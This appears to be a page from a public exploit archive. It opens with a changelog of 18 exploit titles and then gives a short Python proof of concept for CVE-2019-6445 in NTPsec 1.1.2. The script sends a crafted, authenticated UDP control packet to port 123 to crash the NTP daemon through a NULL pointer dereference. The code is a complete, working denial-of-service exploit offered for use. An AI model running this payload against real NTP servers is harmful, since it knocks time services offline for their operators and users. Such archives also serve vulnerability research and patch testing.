fa261f0558
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
20 lines
No EOL
827 B
Python
Executable file
20 lines
No EOL
827 B
Python
Executable file
#!/usr/bin/env python
|
|
# Exploit Title: ntpsec 1.1.2 authenticated NULL pointer exception Proof of concept
|
|
# Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
|
|
# Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
|
|
# Website: https://dumpco.re/bugs/ntpsec-authed-npe
|
|
# Vendor Homepage: https://ntpsec.org/
|
|
# Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz
|
|
# Affected versions: ntpsec 1.1.0, 1.1.1, 1.1.2
|
|
# CVE: CVE-2019-6445
|
|
# Note: this PoC uses Keyid 1 with password 'gurka'
|
|
|
|
import sys
|
|
import socket
|
|
|
|
buf = ("\x16\x03\x00\x03\x00\x00\x00\x00\x00\x00\x00\x04\x6c\x65\x61\x70" +
|
|
"\x00\x00\x00\x01\x5c\xb7\x3c\xdc\x9f\x5c\x1e\x6a\xc5\x9b\xdf\xf5" +
|
|
"\x56\xc8\x07\xd4")
|
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
sock.sendto(buf, ('127.0.0.1', 123)) |